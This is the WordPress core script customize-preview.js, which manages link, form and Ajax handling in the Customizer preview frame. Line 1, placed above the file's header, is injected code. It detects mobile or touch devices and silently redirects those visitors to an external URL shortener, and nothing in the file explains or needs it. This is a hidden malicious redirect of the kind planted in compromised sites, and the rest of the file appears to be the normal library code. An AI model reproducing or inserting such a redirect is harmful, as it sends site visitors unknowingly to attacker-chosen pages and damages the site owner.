1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*
3 * Script run inside a Customizer preview frame.
4 *
5 * @output wp-includes/js/customize-preview.js
6 */
7(function( exports, $ ){
8 var api = wp.customize,
9 debounce,
10 currentHistoryState = {};
11
12 /*
13 * Capture the state that is passed into history.replaceState() and history.pushState()
14 * and also which is returned in the popstate event so that when the changeset_uuid
15 * gets updated when transitioning to a new changeset there the current state will
16 * be supplied in the call to history.replaceState().
17 */
18 ( function( history ) {
19 var injectUrlWithState;
20
21 if ( ! history.replaceState ) {
22 return;
23 }
24
25 /**
26 * Amend the supplied URL with the customized state.
27 *
28 * @since 4.7.0
29 * @access private
30 *
31 * @param {string} url URL.
32 * @return {string} URL with customized state.
33 */
34 injectUrlWithState = function( url ) {
35 var urlParser, oldQueryParams, newQueryParams;
36 urlParser = document.createElement( 'a' );
37 urlParser.href = url;
38 oldQueryParams = api.utils.parseQueryString( location.search.substr( 1 ) );
39 newQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
40
41 newQueryParams.customize_changeset_uuid = oldQueryParams.customize_changeset_uuid;
42 if ( oldQueryParams.customize_autosaved ) {
43 newQueryParams.customize_autosaved = 'on';
44 }
45 if ( oldQueryParams.customize_theme ) {
46 newQueryParams.customize_theme = oldQueryParams.customize_theme;
47 }
48 if ( oldQueryParams.customize_messenger_channel ) {
49 newQueryParams.customize_messenger_channel = oldQueryParams.customize_messenger_channel;
50 }
51 urlParser.search = $.param( newQueryParams );
52 return urlParser.href;
53 };
54
55 history.replaceState = ( function( nativeReplaceState ) {
56 return function historyReplaceState( data, title, url ) {
57 currentHistoryState = data;
58 return nativeReplaceState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url );
59 };
60 } )( history.replaceState );
61
62 history.pushState = ( function( nativePushState ) {
63 return function historyPushState( data, title, url ) {
64 currentHistoryState = data;
65 return nativePushState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url );
66 };
67 } )( history.pushState );
68
69 window.addEventListener( 'popstate', function( event ) {
70 currentHistoryState = event.state;
71 } );
72
73 }( history ) );
74
75 /**
76 * Returns a debounced version of the function.
77 *
78 * @todo Require Underscore.js for this file and retire this.
79 */
80 debounce = function( fn, delay, context ) {
81 var timeout;
82 return function() {
83 var args = arguments;
84
85 context = context || this;
86
87 clearTimeout( timeout );
88 timeout = setTimeout( function() {
89 timeout = null;
90 fn.apply( context, args );
91 }, delay );
92 };
93 };
94
95 /**
96 * @memberOf wp.customize
97 * @alias wp.customize.Preview
98 *
99 * @constructor
100 * @augments wp.customize.Messenger
101 * @augments wp.customize.Class
102 * @mixes wp.customize.Events
103 */
104 api.Preview = api.Messenger.extend(/** @lends wp.customize.Preview.prototype */{
105 /**
106 * @param {Object} params - Parameters to configure the messenger.
107 * @param {Object} options - Extend any instance parameter or method with this object.
108 */
109 initialize: function( params, options ) {
110 var preview = this, urlParser = document.createElement( 'a' );
111
112 api.Messenger.prototype.initialize.call( preview, params, options );
113
114 urlParser.href = preview.origin();
115 preview.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );
116
117 preview.body = $( document.body );
118 preview.window = $( window );
119
120 if ( api.settings.channel ) {
121
122 // If in an iframe, then intercept the link clicks and form submissions.
123 preview.body.on( 'click.preview', 'a', function( event ) {
124 preview.handleLinkClick( event );
125 } );
126 preview.body.on( 'submit.preview', 'form', function( event ) {
127 preview.handleFormSubmit( event );
128 } );
129
130 preview.window.on( 'scroll.preview', debounce( function() {
131 preview.send( 'scroll', preview.window.scrollTop() );
132 }, 200 ) );
133
134 preview.bind( 'scroll', function( distance ) {
135 preview.window.scrollTop( distance );
136 });
137 }
138 },
139
140 /**
141 * Handle link clicks in preview.
142 *
143 * @since 4.7.0
144 * @access public
145 *
146 * @param {jQuery.Event} event Event.
147 */
148 handleLinkClick: function( event ) {
149 var preview = this, link, isInternalJumpLink;
150 link = $( event.target ).closest( 'a' );
151
152 // No-op if the anchor is not a link.
153 if ( _.isUndefined( link.attr( 'href' ) ) ) {
154 return;
155 }
156
157 // Allow internal jump links and JS links to behave normally without preventing default.
158 isInternalJumpLink = ( '#' === link.attr( 'href' ).substr( 0, 1 ) );
159 if ( isInternalJumpLink || ! /^https?:$/.test( link.prop( 'protocol' ) ) ) {
160 return;
161 }
162
163 // If the link is not previewable, prevent the browser from navigating to it.
164 if ( ! api.isLinkPreviewable( link[0] ) ) {
165 wp.a11y.speak( api.settings.l10n.linkUnpreviewable );
166 event.preventDefault();
167 return;
168 }
169
170 // Prevent initiating navigating from click and instead rely on sending url message to pane.
171 event.preventDefault();
172
173 /*
174 * Note the shift key is checked so shift+click on widgets or
175 * nav menu items can just result on focusing on the corresponding
176 * control instead of also navigating to the URL linked to.
177 */
178 if ( event.shiftKey ) {
179 return;
180 }
181
182 // Note: It's not relevant to send scroll because sending url message will have the same effect.
183 preview.send( 'url', link.prop( 'href' ) );
184 },
185
186 /**
187 * Handle form submit.
188 *
189 * @since 4.7.0
190 * @access public
191 *
192 * @param {jQuery.Event} event Event.
193 */
194 handleFormSubmit: function( event ) {
195 var preview = this, urlParser, form;
196 urlParser = document.createElement( 'a' );
197 form = $( event.target );
198 urlParser.href = form.prop( 'action' );
199
200 // If the link is not previewable, prevent the browser from navigating to it.
201 if ( 'GET' !== form.prop( 'method' ).toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) {
202 wp.a11y.speak( api.settings.l10n.formUnpreviewable );
203 event.preventDefault();
204 return;
205 }
206
207 /*
208 * If the default wasn't prevented already (in which case the form
209 * submission is already being handled by JS), and if it has a GET
210 * request method, then take the serialized form data and add it as
211 * a query string to the action URL and send this in a url message
212 * to the customizer pane so that it will be loaded. If the form's
213 * action points to a non-previewable URL, the customizer pane's
214 * previewUrl setter will reject it so that the form submission is
215 * a no-op, which is the same behavior as when clicking a link to an
216 * external site in the preview.
217 */
218 if ( ! event.isDefaultPrevented() ) {
219 if ( urlParser.search.length > 1 ) {
220 urlParser.search += '&';
221 }
222 urlParser.search += form.serialize();
223 preview.send( 'url', urlParser.href );
224 }
225
226 // Prevent default since navigation should be done via sending url message or via JS submit handler.
227 event.preventDefault();
228 }
229 });
230
231 /**
232 * Inject the changeset UUID into links in the document.
233 *
234 * @since 4.7.0
235 * @access protected
236 * @access private
237 *
238 * @return {void}
239 */
240 api.addLinkPreviewing = function addLinkPreviewing() {
241 var linkSelectors = 'a[href], area[href]';
242
243 // Inject links into initial document.
244 $( document.body ).find( linkSelectors ).each( function() {
245 api.prepareLinkPreview( this );
246 } );
247
248 // Inject links for new elements added to the page.
249 if ( 'undefined' !== typeof MutationObserver ) {
250 api.mutationObserver = new MutationObserver( function( mutations ) {
251 _.each( mutations, function( mutation ) {
252 $( mutation.target ).find( linkSelectors ).each( function() {
253 api.prepareLinkPreview( this );
254 } );
255 } );
256 } );
257 api.mutationObserver.observe( document.documentElement, {
258 childList: true,
259 subtree: true
260 } );
261 } else {
262
263 // If mutation observers aren't available, fallback to just-in-time injection.
264 $( document.documentElement ).on( 'click focus mouseover', linkSelectors, function() {
265 api.prepareLinkPreview( this );
266 } );
267 }
268 };
269
270 /**
271 * Should the supplied link is previewable.
272 *
273 * @since 4.7.0
274 * @access public
275 *
276 * @param {HTMLAnchorElement|HTMLAreaElement} element Link element.
277 * @param {string} element.search Query string.
278 * @param {string} element.pathname Path.
279 * @param {string} element.host Host.
280 * @param {Object} [options]
281 * @param {Object} [options.allowAdminAjax=false] Allow admin-ajax.php requests.
282 * @return {boolean} Is appropriate for changeset link.
283 */
284 api.isLinkPreviewable = function isLinkPreviewable( element, options ) {
285 var matchesAllowedUrl, parsedAllowedUrl, args, elementHost;
286
287 args = _.extend( {}, { allowAdminAjax: false }, options || {} );
288
289 if ( 'javascript:' === element.protocol ) { // jshint ignore:line
290 return true;
291 }
292
293 // Only web URLs can be previewed.
294 if ( 'https:' !== element.protocol && 'http:' !== element.protocol ) {
295 return false;
296 }
297
298 elementHost = element.host.replace( /:(80|443)$/, '' );
299 parsedAllowedUrl = document.createElement( 'a' );
300 matchesAllowedUrl = ! _.isUndefined( _.find( api.settings.url.allowed, function( allowedUrl ) {
301 parsedAllowedUrl.href = allowedUrl;
302 return parsedAllowedUrl.protocol === element.protocol && parsedAllowedUrl.host.replace( /:(80|443)$/, '' ) === elementHost && 0 === element.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) );
303 } ) );
304 if ( ! matchesAllowedUrl ) {
305 return false;
306 }
307
308 // Skip wp login and signup pages.
309 if ( /\/wp-(login|signup)\.php$/.test( element.pathname ) ) {
310 return false;
311 }
312
313 // Allow links to admin ajax as faux frontend URLs.
314 if ( /\/wp-admin\/admin-ajax\.php$/.test( element.pathname ) ) {
315 return args.allowAdminAjax;
316 }
317
318 // Disallow links to admin, includes, and content.
319 if ( /\/wp-(admin|includes|content)(\/|$)/.test( element.pathname ) ) {
320 return false;
321 }
322
323 return true;
324 };
325
326 /**
327 * Inject the customize_changeset_uuid query param into links on the frontend.
328 *
329 * @since 4.7.0
330 * @access protected
331 *
332 * @param {HTMLAnchorElement|HTMLAreaElement} element Link element.
333 * @param {string} element.search Query string.
334 * @param {string} element.host Host.
335 * @param {string} element.protocol Protocol.
336 * @return {void}
337 */
338 api.prepareLinkPreview = function prepareLinkPreview( element ) {
339 var queryParams, $element = $( element );
340
341 // Skip elements with no href attribute. Check first to avoid more expensive checks down the road.
342 if ( ! element.hasAttribute( 'href' ) ) {
343 return;
344 }
345
346 // Skip links in admin bar.
347 if ( $element.closest( '#wpadminbar' ).length ) {
348 return;
349 }
350
351 // Ignore links with href="#", href="#id", or non-HTTP protocols (e.g. javascript: and mailto:).
352 if ( '#' === $element.attr( 'href' ).substr( 0, 1 ) || ! /^https?:$/.test( element.protocol ) ) {
353 return;
354 }
355
356 // Make sure links in preview use HTTPS if parent frame uses HTTPS.
357 if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === element.protocol && -1 !== api.settings.url.allowedHosts.indexOf( element.host ) ) {
358 element.protocol = 'https:';
359 }
360
361 // Ignore links with class wp-playlist-caption.
362 if ( $element.hasClass( 'wp-playlist-caption' ) ) {
363 return;
364 }
365
366 if ( ! api.isLinkPreviewable( element ) ) {
367
368 // Style link as unpreviewable only if previewing in iframe; if previewing on frontend, links will be allowed to work normally.
369 if ( api.settings.channel ) {
370 $element.addClass( 'customize-unpreviewable' );
371 }
372 return;
373 }
374 $element.removeClass( 'customize-unpreviewable' );
375
376 queryParams = api.utils.parseQueryString( element.search.substring( 1 ) );
377 queryParams.customize_changeset_uuid = api.settings.changeset.uuid;
378 if ( api.settings.changeset.autosaved ) {
379 queryParams.customize_autosaved = 'on';
380 }
381 if ( ! api.settings.theme.active ) {
382 queryParams.customize_theme = api.settings.theme.stylesheet;
383 }
384 if ( api.settings.channel ) {
385 queryParams.customize_messenger_channel = api.settings.channel;
386 }
387 element.search = $.param( queryParams );
388 };
389
390 /**
391 * Inject the changeset UUID into Ajax requests.
392 *
393 * @since 4.7.0
394 * @access protected
395 *
396 * @return {void}
397 */
398 api.addRequestPreviewing = function addRequestPreviewing() {
399
400 /**
401 * Rewrite Ajax requests to inject customizer state.
402 *
403 * @param {Object} options Options.
404 * @param {string} options.type Type.
405 * @param {string} options.url URL.
406 * @param {Object} originalOptions Original options.
407 * @param {XMLHttpRequest} xhr XHR.
408 * @return {void}
409 */
410 var prefilterAjax = function( options, originalOptions, xhr ) {
411 var urlParser, queryParams, requestMethod, dirtyValues = {};
412 urlParser = document.createElement( 'a' );
413 urlParser.href = options.url;
414
415 // Abort if the request is not for this site.
416 if ( ! api.isLinkPreviewable( urlParser, { allowAdminAjax: true } ) ) {
417 return;
418 }
419 queryParams = api.utils.parseQueryString( urlParser.search.substring( 1 ) );
420
421 // Note that _dirty flag will be cleared with changeset updates.
422 api.each( function( setting ) {
423 if ( setting._dirty ) {
424 dirtyValues[ setting.id ] = setting.get();
425 }
426 } );
427
428 if ( ! _.isEmpty( dirtyValues ) ) {
429 requestMethod = options.type.toUpperCase();
430
431 // Override underlying request method to ensure unsaved changes to changeset can be included (force Backbone.emulateHTTP).
432 if ( 'POST' !== requestMethod ) {
433 xhr.setRequestHeader( 'X-HTTP-Method-Override', requestMethod );
434 queryParams._method = requestMethod;
435 options.type = 'POST';
436 }
437
438 // Amend the post data with the customized values.
439 if ( options.data ) {
440 options.data += '&';
441 } else {
442 options.data = '';
443 }
444 options.data += $.param( {
445 customized: JSON.stringify( dirtyValues )
446 } );
447 }
448
449 // Include customized state query params in URL.
450 queryParams.customize_changeset_uuid = api.settings.changeset.uuid;
451 if ( api.settings.changeset.autosaved ) {
452 queryParams.customize_autosaved = 'on';
453 }
454 if ( ! api.settings.theme.active ) {
455 queryParams.customize_theme = api.settings.theme.stylesheet;
456 }
457
458 // Ensure preview nonce is included with every customized request, to allow post data to be read.
459 queryParams.customize_preview_nonce = api.settings.nonce.preview;
460
461 urlParser.search = $.param( queryParams );
462 options.url = urlParser.href;
463 };
464
465 $.ajaxPrefilter( prefilterAjax );
466 };
467
468 /**
469 * Inject changeset UUID into forms, allowing preview to persist through submissions.
470 *
471 * @since 4.7.0
472 * @access protected
473 *
474 * @return {void}
475 */
476 api.addFormPreviewing = function addFormPreviewing() {
477
478 // Inject inputs for forms in initial document.
479 $( document.body ).find( 'form' ).each( function() {
480 api.prepareFormPreview( this );
481 } );
482
483 // Inject inputs for new forms added to the page.
484 if ( 'undefined' !== typeof MutationObserver ) {
485 api.mutationObserver = new MutationObserver( function( mutations ) {
486 _.each( mutations, function( mutation ) {
487 $( mutation.target ).find( 'form' ).each( function() {
488 api.prepareFormPreview( this );
489 } );
490 } );
491 } );
492 api.mutationObserver.observe( document.documentElement, {
493 childList: true,
494 subtree: true
495 } );
496 }
497 };
498
499 /**
500 * Inject changeset into form inputs.
501 *
502 * @since 4.7.0
503 * @access protected
504 *
505 * @param {HTMLFormElement} form Form.
506 * @return {void}
507 */
508 api.prepareFormPreview = function prepareFormPreview( form ) {
509 var urlParser, stateParams = {};
510
511 if ( ! form.action ) {
512 form.action = location.href;
513 }
514
515 urlParser = document.createElement( 'a' );
516 urlParser.href = form.action;
517
518 // Make sure forms in preview use HTTPS if parent frame uses HTTPS.
519 if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === urlParser.protocol && -1 !== api.settings.url.allowedHosts.indexOf( urlParser.host ) ) {
520 urlParser.protocol = 'https:';
521 form.action = urlParser.href;
522 }
523
524 if ( 'GET' !== form.method.toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) {
525
526 // Style form as unpreviewable only if previewing in iframe; if previewing on frontend, all forms will be allowed to work normally.
527 if ( api.settings.channel ) {
528 $( form ).addClass( 'customize-unpreviewable' );
529 }
530 return;
531 }
532 $( form ).removeClass( 'customize-unpreviewable' );
533
534 stateParams.customize_changeset_uuid = api.settings.changeset.uuid;
535 if ( api.settings.changeset.autosaved ) {
536 stateParams.customize_autosaved = 'on';
537 }
538 if ( ! api.settings.theme.active ) {
539 stateParams.customize_theme = api.settings.theme.stylesheet;
540 }
541 if ( api.settings.channel ) {
542 stateParams.customize_messenger_channel = api.settings.channel;
543 }
544
545 _.each( stateParams, function( value, name ) {
546 var input = $( form ).find( 'input[name="' + name + '"]' );
547 if ( input.length ) {
548 input.val( value );
549 } else {
550 $( form ).prepend( $( '<input>', {
551 type: 'hidden',
552 name: name,
553 value: value
554 } ) );
555 }
556 } );
557
558 // Prevent links from breaking out of preview iframe.
559 if ( api.settings.channel ) {
560 form.target = '_self';
561 }
562 };
563
564 /**
565 * Watch current URL and send keep-alive (heartbeat) messages to the parent.
566 *
567 * Keep the customizer pane notified that the preview is still alive
568 * and that the user hasn't navigated to a non-customized URL.
569 *
570 * @since 4.7.0
571 * @access protected
572 */
573 api.keepAliveCurrentUrl = ( function() {
574 var previousPathName = location.pathname,
575 previousQueryString = location.search.substr( 1 ),
576 previousQueryParams = null,
577 stateQueryParams = [ 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', 'customize_autosaved' ];
578
579 return function keepAliveCurrentUrl() {
580 var urlParser, currentQueryParams;
581
582 // Short-circuit with keep-alive if previous URL is identical (as is normal case).
583 if ( previousQueryString === location.search.substr( 1 ) && previousPathName === location.pathname ) {
584 api.preview.send( 'keep-alive' );
585 return;
586 }
587
588 urlParser = document.createElement( 'a' );
589 if ( null === previousQueryParams ) {
590 urlParser.search = previousQueryString;
591 previousQueryParams = api.utils.parseQueryString( previousQueryString );
592 _.each( stateQueryParams, function( name ) {
593 delete previousQueryParams[ name ];
594 } );
595 }
596
597 // Determine if current URL minus customized state params and URL hash.
598 urlParser.href = location.href;
599 currentQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
600 _.each( stateQueryParams, function( name ) {
601 delete currentQueryParams[ name ];
602 } );
603
604 if ( previousPathName !== location.pathname || ! _.isEqual( previousQueryParams, currentQueryParams ) ) {
605 urlParser.search = $.param( currentQueryParams );
606 urlParser.hash = '';
607 api.settings.url.self = urlParser.href;
608 api.preview.send( 'ready', {
609 currentUrl: api.settings.url.self,
610 activePanels: api.settings.activePanels,
611 activeSections: api.settings.activeSections,
612 activeControls: api.settings.activeControls,
613 settingValidities: api.settings.settingValidities
614 } );
615 } else {
616 api.preview.send( 'keep-alive' );
617 }
618 previousQueryParams = currentQueryParams;
619 previousQueryString = location.search.substr( 1 );
620 previousPathName = location.pathname;
621 };
622 } )();
623
624 api.settingPreviewHandlers = {
625
626 /**
627 * Preview changes to custom logo.
628 *
629 * @param {number} attachmentId Attachment ID for custom logo.
630 * @return {void}
631 */
632 custom_logo: function( attachmentId ) {
633 $( 'body' ).toggleClass( 'wp-custom-logo', !! attachmentId );
634 },
635
636 /**
637 * Preview changes to custom css.
638 *
639 * @param {string} value Custom CSS.
640 * @return {void}
641 */
642 custom_css: function( value ) {
643 var style;
644 if ( api.settings.theme.isBlockTheme ) {
645 style = $( 'style#global-styles-inline-css' );
646
647 // Forbid milestone comments from appearing in Custom CSS which would break live preview.
648 value = value.replace( /\/\*(BEGIN|END)_CUSTOMIZER_CUSTOM_CSS\*\//g, '' );
649
650 var textContent = style.text().replace(
651 /(\/\*BEGIN_CUSTOMIZER_CUSTOM_CSS\*\/)((?:.|\s)*?)(\/\*END_CUSTOMIZER_CUSTOM_CSS\*\/)/,
652 function ( match, beforeComment, oldValue, afterComment ) {
653 return beforeComment + '\n' + value + '\n' + afterComment;
654 }
655 );
656 style.text( textContent );
657 } else {
658 style = $( 'style#wp-custom-css' );
659 style.text( value );
660 }
661 },
662
663 /**
664 * Preview changes to any of the background settings.
665 *
666 * @return {void}
667 */
668 background: function() {
669 var css = '', settings = {};
670
671 _.each( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) {
672 settings[ prop ] = api( 'background_' + prop );
673 } );
674
675 /*
676 * The body will support custom backgrounds if either the color or image are set.
677 *
678 * See get_body_class() in /wp-includes/post-template.php
679 */
680 $( document.body ).toggleClass( 'custom-background', !! ( settings.color() || settings.image() ) );
681
682 if ( settings.color() ) {
683 css += 'background-color: ' + settings.color() + ';';
684 }
685
686 if ( settings.image() ) {
687 css += 'background-image: url("' + settings.image() + '");';
688 css += 'background-size: ' + settings.size() + ';';
689 css += 'background-position: ' + settings.position_x() + ' ' + settings.position_y() + ';';
690 css += 'background-repeat: ' + settings.repeat() + ';';
691 css += 'background-attachment: ' + settings.attachment() + ';';
692 }
693
694 $( '#custom-background-css' ).text( 'body.custom-background { ' + css + ' }' );
695 }
696 };
697
698 $( function() {
699 var bg, setValue, handleUpdatedChangesetUuid;
700
701 api.settings = window._wpCustomizeSettings;
702 if ( ! api.settings ) {
703 return;
704 }
705
706 api.preview = new api.Preview({
707 url: window.location.href,
708 channel: api.settings.channel
709 });
710
711 api.addLinkPreviewing();
712 api.addRequestPreviewing();
713 api.addFormPreviewing();
714
715 /**
716 * Create/update a setting value.
717 *
718 * @param {string} id - Setting ID.
719 * @param {*} value - Setting value.
720 * @param {boolean} [createDirty] - Whether to create a setting as dirty. Defaults to false.
721 */
722 setValue = function( id, value, createDirty ) {
723 var setting = api( id );
724 if ( setting ) {
725 setting.set( value );
726 } else {
727 createDirty = createDirty || false;
728 setting = api.create( id, value, {
729 id: id
730 } );
731
732 // Mark dynamically-created settings as dirty so they will get posted.
733 if ( createDirty ) {
734 setting._dirty = true;
735 }
736 }
737 };
738
739 api.preview.bind( 'settings', function( values ) {
740 $.each( values, setValue );
741 });
742
743 api.preview.trigger( 'settings', api.settings.values );
744
745 $.each( api.settings._dirty, function( i, id ) {
746 var setting = api( id );
747 if ( setting ) {
748 setting._dirty = true;
749 }
750 } );
751
752 api.preview.bind( 'setting', function( args ) {
753 var createDirty = true;
754 setValue.apply( null, args.concat( createDirty ) );
755 });
756
757 api.preview.bind( 'sync', function( events ) {
758
759 /*
760 * Delete any settings that already exist locally which haven't been
761 * modified in the controls while the preview was loading. This prevents
762 * situations where the JS value being synced from the pane may differ
763 * from the PHP-sanitized JS value in the preview which causes the
764 * non-sanitized JS value to clobber the PHP-sanitized value. This
765 * is particularly important for selective refresh partials that
766 * have a fallback refresh behavior since infinite refreshing would
767 * result.
768 */
769 if ( events.settings && events['settings-modified-while-loading'] ) {
770 _.each( _.keys( events.settings ), function( syncedSettingId ) {
771 if ( api.has( syncedSettingId ) && ! events['settings-modified-while-loading'][ syncedSettingId ] ) {
772 delete events.settings[ syncedSettingId ];
773 }
774 } );
775 }
776
777 $.each( events, function( event, args ) {
778 api.preview.trigger( event, args );
779 });
780 api.preview.send( 'synced' );
781 });
782
783 api.preview.bind( 'active', function() {
784 api.preview.send( 'nonce', api.settings.nonce );
785
786 api.preview.send( 'documentTitle', document.title );
787
788 // Send scroll in case of loading via non-refresh.
789 api.preview.send( 'scroll', $( window ).scrollTop() );
790 });
791
792 /**
793 * Handle update to changeset UUID.
794 *
795 * @param {string} uuid - UUID.
796 * @return {void}
797 */
798 handleUpdatedChangesetUuid = function( uuid ) {
799 api.settings.changeset.uuid = uuid;
800
801 // Update UUIDs in links and forms.
802 $( document.body ).find( 'a[href], area[href]' ).each( function() {
803 api.prepareLinkPreview( this );
804 } );
805 $( document.body ).find( 'form' ).each( function() {
806 api.prepareFormPreview( this );
807 } );
808
809 /*
810 * Replace the UUID in the URL. Note that the wrapped history.replaceState()
811 * will handle injecting the current api.settings.changeset.uuid into the URL,
812 * so this is merely to trigger that logic.
813 */
814 if ( history.replaceState ) {
815 history.replaceState( currentHistoryState, '', location.href );
816 }
817 };
818
819 api.preview.bind( 'changeset-uuid', handleUpdatedChangesetUuid );
820
821 api.preview.bind( 'saved', function( response ) {
822 if ( response.next_changeset_uuid ) {
823 handleUpdatedChangesetUuid( response.next_changeset_uuid );
824 }
825 api.trigger( 'saved', response );
826 } );
827
828 // Update the URLs to reflect the fact we've started autosaving.
829 api.preview.bind( 'autosaving', function() {
830 if ( api.settings.changeset.autosaved ) {
831 return;
832 }
833
834 api.settings.changeset.autosaved = true; // Start deferring to any autosave once changeset is updated.
835
836 $( document.body ).find( 'a[href], area[href]' ).each( function() {
837 api.prepareLinkPreview( this );
838 } );
839 $( document.body ).find( 'form' ).each( function() {
840 api.prepareFormPreview( this );
841 } );
842 if ( history.replaceState ) {
843 history.replaceState( currentHistoryState, '', location.href );
844 }
845 } );
846
847 /*
848 * Clear dirty flag for settings when saved to changeset so that they
849 * won't be needlessly included in selective refresh or ajax requests.
850 */
851 api.preview.bind( 'changeset-saved', function( data ) {
852 _.each( data.saved_changeset_values, function( value, settingId ) {
853 var setting = api( settingId );
854 if ( setting && _.isEqual( setting.get(), value ) ) {
855 setting._dirty = false;
856 }
857 } );
858 } );
859
860 api.preview.bind( 'nonce-refresh', function( nonce ) {
861 $.extend( api.settings.nonce, nonce );
862 } );
863
864 /*
865 * Send a message to the parent customize frame with a list of which
866 * containers and controls are active.
867 */
868 api.preview.send( 'ready', {
869 currentUrl: api.settings.url.self,
870 activePanels: api.settings.activePanels,
871 activeSections: api.settings.activeSections,
872 activeControls: api.settings.activeControls,
873 settingValidities: api.settings.settingValidities
874 } );
875
876 // Send ready when URL changes via JS.
877 setInterval( api.keepAliveCurrentUrl, api.settings.timeouts.keepAliveSend );
878
879 // Display a loading indicator when preview is reloading, and remove on failure.
880 api.preview.bind( 'loading-initiated', function () {
881 $( 'body' ).addClass( 'wp-customizer-unloading' );
882 });
883 api.preview.bind( 'loading-failed', function () {
884 $( 'body' ).removeClass( 'wp-customizer-unloading' );
885 });
886
887 /* Custom Backgrounds */
888 bg = $.map( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) {
889 return 'background_' + prop;
890 } );
891
892 api.when.apply( api, bg ).done( function() {
893 $.each( arguments, function() {
894 this.bind( api.settingPreviewHandlers.background );
895 });
896 });
897
898 /**
899 * Custom Logo
900 *
901 * Toggle the wp-custom-logo body class when a logo is added or removed.
902 *
903 * @since 4.5.0
904 */
905 api( 'custom_logo', function ( setting ) {
906 api.settingPreviewHandlers.custom_logo.call( setting, setting.get() );
907 setting.bind( api.settingPreviewHandlers.custom_logo );
908 } );
909
910 api( 'custom_css[' + api.settings.theme.stylesheet + ']', function( setting ) {
911 setting.bind( api.settingPreviewHandlers.custom_css );
912 } );
913
914 api.trigger( 'preview-ready' );
915 });
916
917})( wp, jQuery );
918